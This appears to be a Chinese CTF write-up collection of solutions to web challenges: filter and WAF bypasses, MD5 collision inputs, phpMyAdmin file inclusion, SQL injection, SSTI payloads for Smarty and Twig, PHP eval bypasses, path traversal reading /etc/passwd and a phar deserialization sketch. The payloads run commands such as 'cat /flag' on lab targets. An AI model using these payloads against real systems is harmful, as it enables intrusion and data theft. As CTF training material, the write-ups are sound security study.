[GKCTF2020]cve版签到

题目提示

cve-2020-7066
Hint: Flag in localhost
Tips: Host must be end with '123'
You just view *.ctfhub.com 

题目原型

#79329 get_headers() silently truncates after a null byte

This was tested on PHP 7.3, but the function has always had this bug.

The test script shows that this can cause well-written scripts to get headers for an unexpected domain. Those headers could leak sensitive information or unexpectedly contain attacker-controlled data.

解题方法

?url=http://127.0.0.123%00.ctfhub.com

收集信息

善用php bug搜索漏洞

[安洵杯 2019]easy_web

解题方法

观察url参数?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=;img进行base64解密后得到MzUzNTM1MmU3MDZlNjc=再次解密得到3535352e706e67,在对此十六进制进行解密得到555.png;img参数存在文件包含漏洞,于是将index.php进行三次加密后的结果TmprMlpUWTBOalUzT0RKbE56QTJPRGN3赋值给img

此时查看源码中图片的值,进行base64解密

<img src='data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4='></img><br><br>md5 is funny ~<html>

代码审计

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
  1. 如果没有自定义img和cmd的值,系统会自动设置
  2. 对img值进行三次解密后如果含有flag字符串就退出程序,不然就进行一次加密后输出
  3. 输出传入的cmd值
  4. 对cmd进行过滤,过滤大部分关键的linux指令
  5. 满足post方法传入的ab的字符串类型不相等但MD5后的值相等就进行输出cmd参数的值命令执行的结果

解题方法

不能使用之前a[]=1&b[]=2的payload绕过一下代码,原因是因为**string类型对数组强制转换之后的结果均为Array**,可以使用特定值进行MD5碰撞

(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

利用反斜杠就可以轻松绕过对linux命令的过滤,因为\在linux中还可以作为换行之意(未必真要换行),此时不影响代码执行

cmd=ca\t%20/flag

操作细节

截屏2020-08-03 下午9.45.45

如果在burpsuite中如上传值无法成功可以尝试右键选择Change body encoding之后再传值

[GWCTF 2019]我有一个数据库

解题方法

扫描后发现存在/phpmyadmin/,访问后得知版本信息 4.8.1

phpmyadmin 4.8.1存在文件包含漏洞,构造?target=db_datadict.php%253f/../../../../../../../../../flag

[BJDCTF2020]Mark loves cat

解题方法

扫描目标后发现.git源码泄露,并使用Githack还原源码

截屏2020-08-03 下午9.51.30

代码审计

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

---a
foreach($_GET as $x => $y){ // yds => flag
    $$x = $$y;  // $yds = $flag = flag{}
}
---a

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

---b
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
---b

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;
  1. a区域:将get方法传入的如a=hello转换为$a=$hello
  2. b区域:如果没有通过get或post传入flag参数就退出如果$yds变量是字符串就输出

解题方法

/?yds=flag

exit() - 输出一个消息并且退出当前脚本

 exit ([ string $status ] ) : void
 exit ( int $status ) : void
  • 如果status是一个字符串,在退出之前该函数会打印status

  • 如果status是一个integer,该值会作为退出状态码,并且不会被打印输出。退出状态码应该在范围0至254,不应使用被PHP保留的退出状态码255。状态码0用于成功中止程序

[ASIS 2019]Unicorn shop

解题思路

截屏2020-08-04 上午9.42.23

多次测试后得出结论:

  1. 只能输入一个字符
  2. 购买前三只独角兽会显示错误操作,因此只能购买第四只

解题方法

通过Unicode-Compart查询Unicode字符值大于1337的字符;比如搜索ten thousand,从结果中任选一个字符

截屏2020-08-04 上午9.49.14

复制到搜索框即可

截屏2020-08-04 上午9.50.35

简单了解Unicode

Unicode实际上是一个字符和数字之间的映射关系表,并不制定实际的编码方案。因此又开始制定UTF标准,包括UTF-8、UTF-16和UTF-32等。可以理解为Unicode是一个设计图,而UTF-X是其中一种实现

[SWPU2019]Web1

解题思路

注册用户并进行登录,之后申请发布广告,看到留言框,可能存在二次注入漏洞

简单测试发现存在sql报错

title=1'&content=hello&ac=add

发现存在waf,简单测试后可以确定waf了join,空格,%23以及or;waf掉or间接导致order by,information_schema不能使用

俗话说得好,上有政策下有对策

  1. 使用/**/绕过空格
  2. 用单引号闭合最后的单引号取代%23注释
  3. 跳过order by直接猜字段之后进行bypass information_schema
  4. union select绕过join

解题方法

首先先猜字段数,一直到title='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=hello&ac=add

时界面回显如下,可以判断此表有22列,2, 3为显示位

截屏2020-08-04 下午2.22.26

由于BuuCTF此题环境没有sys.schema_table_statistics_with_buffer,所以只能硬猜表名,猜测其为users,三个字段(一个非常常见的表)

截屏2020-08-04 下午2.30.14

用联合查询进行无列名注入后得到flag

title='union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)as/**/x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=hello&ac=add

bypass information_schema

获取表名

information_schema

information_schema保存着mysql服务器所维护的所有其他数据库的信息,包括了数据库名,表名,字段名等

MySQL5.7的新特性

mysql在5.7版本中新增了sys schema,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

  • sys.schema_auto_increment_columns

    指示哪些表具有AUTO_INCREMENT列,并提供有关这些列的信息;值得注意的是,这个表不会显示一个没有主键的数据表的表名以及相关数据

  • sys.schema_table_statistics_with_buffer, sys.x$schema_table_statistics_with_buffer

    查询表的统计信息,其中还包括InnoDB缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间降序排序,数据来源,数据来源就可以获得所有的表名及相关数据

获取列名

join…using

自然连接的一种形式,只需要在指定属性上的取值匹配

user表自身的笛卡尔积

mysql> select * from user as a join user as b;
+----+----------+---------+----+----------+---------+
| id | username | passwd  | id | username | passwd  |
+----+----------+---------+----+----------+---------+
|  1 | admin    | adminpw |  1 | admin    | adminpw |
|  2 | tom      | tompw   |  1 | admin    | adminpw |
|  3 | kak      | kakpw   |  1 | admin    | adminpw |
|  1 | admin    | adminpw |  2 | tom      | tompw   |
|  2 | tom      | tompw   |  2 | tom      | tompw   |
|  3 | kak      | kakpw   |  2 | tom      | tompw   |
|  1 | admin    | adminpw |  3 | kak      | kakpw   |
|  2 | tom      | tompw   |  3 | kak      | kakpw   |
|  3 | kak      | kakpw   |  3 | kak      | kakpw   |
+----+----------+---------+----+----------+---------+
9 rows in set (0.00 sec)

对上表进行嵌套子查询的方式得到字段名

mysql> select * from (select * from user as a join user as b) as c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from (select * from user as a join user as b using (id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from (select * from user as a join user as b using (id, username)) as c;
ERROR 1060 (42S21): Duplicate column name 'passwd'
mysql> select * from (select * from user as a join user as b using (id, username, passwd)) as c;
+----+----------+---------+
| id | username | passwd  |
+----+----------+---------+
|  1 | admin    | adminpw |
|  2 | tom      | tompw   |
|  3 | kak      | kakpw   |
+----+----------+---------+
3 rows in set (0.01 sec)

union select

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select 1,2,3 union select * from user;
+---+-------+---------+
| 1 | 2     | 3       |
+---+-------+---------+
| 1 | 2     | 3       |
| 1 | admin | adminpw |
| 2 | tom   | tompw   |
| 3 | kak   | kakpw   |
+---+-------+---------+
4 rows in set (0.00 sec)

mysql> select b from (select 1,2 as b,3 union select * from user) as c;
+-------+
| b     |
+-------+
| 2     |
| admin |
| tom   |
| kak   |
+-------+
4 rows in set (0.00 sec)

二次注入

二次注入可以理解为攻击者构造恶意数据存储在数据库后,恶意数据被读取并进入SQL查询语句所导致的注入

二次注入漏洞在CTF中常见于留言板和注册登录功能,简单来说可以分为两个步骤

  1. 插入恶意数据,此时会用mysql_escape_string函数对恶意字符进行转义,从而不会引发注入异常
  2. 引用插入的恶意数据,在进行查询时,数据库对自身数据过分信任,直接从中引用恶意数据,没有做进一步过滤和检验

截屏2020-08-04 下午1.52.55

[BJDCTF 2nd]假猪套天下第一

解题方法

尝试username=admin&passwd=123登录会回显alert('别骗我,你才不是admin呢')

随意切换用户名,比如使用username=tom&passwd=123登录并抓包会发现302重定向

在返回页面底部发现提示

<!-- L0g1n.php -->

访问L0g1n.php,第一次回显One error occured,再次访问显示Sorry, this site will be available after totally 99 years!

于是修改Cookie中的time时间戳,多进一位time=15965064190

此时回显Sorry, this site is only optimized for those who comes from localhost

尝试X-Forwarded-For: 127.0.0.1记住此**处值不能写localhost**,不然无法通过

之后回显Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive

XFF切换成Client-ip即可通过

此时显示Sorry, this site is only optimized for those who come from gem-love.com

设置Referer: gem-love.com

可以看到提示Sorry, this site is only optimized for browsers that run on Commodo 64

User-Agent直接换成Commodo 64会提示o no no i think it is not the real commmodo 64, <br>what is the real ua for Commdo?

上网搜索Commodo 64会看到Wiki显示如下,因此更换成如下值

截屏2020-08-04 上午10.16.04

此时显示Sorry, this site is only optimized for those whose email is root@gem-love.com

设置From: root@gem-love.com后可以看到Sorry, this site is only optimized for those who use the http proxy of y1ng.vip<br> if you dont have the proxy, pls contact us to buy, ¥100/Month

设置Via: y1ng.vip得到结果后解码就得到flag

Sorry, even you are good at http header, you're still not my admin.<br> Althoungh u found me, u still dont know where is flag <!--ZmxhZ3tkMzczNDkwZi05YzM0LTQyOGYtYjg0Zi05MmFjZmU3YWEzYTl9Cg==-->

[BJDCTF2020]The mystery of ip

题目提示

访问Hint界面在源码中可以看到如下提示

<!-- Do you know why i know your ip? -->

解题方法

设置X-Forwarded-For: 127.0.0.1发现ip发生变化,证明ip可控;加上变量包裹符测试依据回显判断存在ssti模板注入

截屏2020-08-04 上午10.28.37

可以先查看一下flag.php的代码,看看这道题的逻辑

代码审计

<?php
        require_once('header.php');
        require_once('./libs/Smarty.class.php');
        $smarty = new Smarty();
        if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
        {
            $ip=$_SERVER['HTTP_CLIENT_IP'];
        }
        elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        else
        {
            $ip=$_SERVER['REMOTE_ADDR'];
        }
        //$your_ip = $smarty->display("string:".$ip);
        echo "<div class=\"container panel1\">
                    <div class=\"row\">
                    <div class=\"col-md-4\">    
                    </div>
                    <div class=\"col-md-4\">
                    <div class=\"jumbotron pan\">
                        <div class=\"form-group log\">
                            <label><h2>Your IP is : ";
        $smarty->display("string:".$ip);
        echo "                </h2></label>
                        </div>        
                    </div>
                    </div>
                    <div class=\"col-md-4\">    
                    </div>
                    </div>
                </div>";
    ?>

逻辑非常简单,不做过多解释,直接读flag就好

X-Forwarded-For: {{system('cat /flag')}}

[CISCN 2019 初赛]Love Math

代码审计

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 
  1. get方法传入参数c
  2. c的长度不能超过80
  3. c不能含有blacklist中的字符
  4. c参数中的函数名如果不在whitelist中就结束程序,参数值必须为数字字符串;稍后解释preg_match_all中的正则表达式含义

解题思路

此题只允许使用规定数学函数,如果某些规定数学函数可以返回字符,就可以实现自定义恶意函数

观察whitelist后发现可以利用的两个关键函数

  • base_convert
  • dechex

解题方法1

截屏2020-08-05 上午10.41.22

通过对结果进行逆推来构造payload如下

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$pi){1})&0=system&1=cat /flag

对payload进行解读

> $pi=base_convert(37907361743,10,36)(dechex(1598506324));    
> $pi=hex2bin(dechex(1598506324));
> $pi=_GET;

> ($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
> $_GET{pi}($_GET{abs})
> system('cat /flag')
  1. $$为php的可变变量标识,一个普通变量的值作为这个可变变量的变量名
  2. 用于[]被列入黑名单,所以使用{}绕过
  3. 注意参数名的选用,因为字符串长度不能超过80

解题方法2

?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

1: cat /flag

对payload进行解读

> $pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
> base_convert(696468,10,36)(base_convert(8768397090111664438,10,30)(){1})
> exec(getallheaders(){1})

截屏2020-08-05 上午11.08.57

解题方法3

之前提到函数名实际上就是字符串,因此可以编写脚本令函数名与00 - 99的数字进行异或从而产生其他可以利用的字符串

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

在输出中选用字符串短且可以使用的进行组装后得到payload

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag

preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs)

preg_match_all - 执行一个全局正则表达式匹配

preg_match_all(string $pattern , string $subject [, array &$matches [, int $flags = PREG_PATTERN_ORDER [, int $offset = 0 ]]]) : int

搜索subject中所有匹配pattern给定正则表达式的匹配结果并且将它们以flag指定顺序输出到matches中,**$matches[0]保存完整模式的所有匹配结果**

/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/

这句正则表达式的含义实际上就是php变量名的命名规则;一个有效的变量名由字母或者下划线开头,后面跟上任意数量的字母,数字或者下划线

\x7f-\xff指的是ASCII码127到255的不可见字符;只有满足php变量名的命名规则才能存储到数组中

打印之前解题方法1中的$match[0],方便理解

截屏2020-08-05 上午11.30.34

php函数特点

  • php的函数名均可以视为字符串,可进行与字符串相同的操作
  • php从5.4之后可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数

getallheaders - 获取全部 HTTP 请求头信息

 getallheaders ( void ) : array

返回包含当前请求所有头信息的数组

base_convert - 在任意进制之间转换数字

 base_convert ( string $number , int $frombase , int $tobase ) : string

返回一字符串,包含number以tobase进制的表示。number本身的进制由frombase指定。frombase和tobase都只能在2和36之间

dechex - 十进制转换为十六进制字符串

 dechex ( int $number ) : string

返回一字符串,包含有给定number 参数的十六进制表示

hex2bin — 转换十六进制字符串为ASCII字符串

 hex2bin ( string $data ) : string

[BJDCTF2020]ZJCTF,不过如此

[WesternCTF2018]shrine

[MRCTF2020]你传你🐎呢

[GXYCTF2019]BabyUpload

[BJDCTF2020]Cookie is so stable

题目提示

查看Hint的源码了解应该和Cookie相关

<!-- Why not take a closer look at cookies? -->

解题方法

Flag的id处随意输入后提交;界面回显如下

截屏2020-08-05 上午11.47.44

进行抓包,发现Cookie: user=tom;猜测系统可能直接获取Cookie中user的值后进行模板拼接就输出到界面中,因而存在ssti模板注入

利用2*2进行测试发现回显4证明确实存在模板注入

模板确认

搬运一个之前被人总结好的一个流程图

截屏2020-08-05 下午12.02.29

{{7*'7'}} -> 7777777 [Jinja2]
{{7*'7'}} -> 49      [Twig]

测试后回显为Twig,使用Twig对于的payload就可以得到flag

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[BJDCTF 2nd]简单注入

[MRCTF2020]Ez_bypass

题目提示

<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) { 
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd)) 
            {
                if($passwd==1234567) 
                {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                }
                else
                {
                    echo "can you think twice??";
                }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
    }
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
?>

解题方法

?id[]=1&gg[]=2

passwd=1234567%00

[安洵杯 2019]easy_serialize_php

[CISCN2019 华北赛区 Day1 Web2]ikun

(未完成)Dropbox

上传测试后发现只能上传图片类型文件

抓包

POST /download.php HTTP/1.1
...
Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548
Connection: keep-alive
Upgrade-Insecure-Requests: 1

filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png

放包之后会显示文件内容

目录穿越

filename=../../../../../etc/passwd

显示结果

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin

题目中的主要文件

.
├── class.php
├── delete.php
├── download.php
├── index.php
├── login.php
└── register.php

class.php是核心文件

class.php(简化)

<?php

class User {
    public $db;

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        ...
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

File类中的close()方法存在RCE vulnerability

Q: 如何利用RCE vulnerability?

代码中并不 unserialize(),但存在文件上传点

Attack PHP Deserialization Vulnerability via Phar

the Phar File Structure

0x00 A Stub

It can be interpreted as a flag and the format is xxx<?php xxx; __HALT_COMPILER();?>.The front content is not limited, but it must end with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file.

0x01 A Manitest Describing the Contents

A phar file is essentially a compressed file, in which the permissions, attributes and other information of each compressed file are included. This section also stores user-defined meta-data in serialized form, which is the core of the above attacks.

0x02 The File Contents

It is the contents of compressed file.

0x03 A signature for verifying Phar integrity

phar file format only

Demo

Construct a phar file according to the file structure, and PHP has a built-in class to handle related operations

Set the phar.readonly option in php.ini to Off, otherwise the phar file cannot be generated.

class Demo {
  @unlink("phar.phar");
  $phar = new Phar("phar.phar"); // suffix must be phar
  $phar->startBuffering();
  $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // set stub and disguise as gif
  $o = new file();
  $o->output = "phpinfo();";
  $phar->setMetadata($o); // store custom meta-data in manifest
  $phar->addFromString("test.txt", "test"); // compressed file
  $phar->stopBuffering(); // automatic computation of signature
};

[NCTF2019]Fake XML cookbook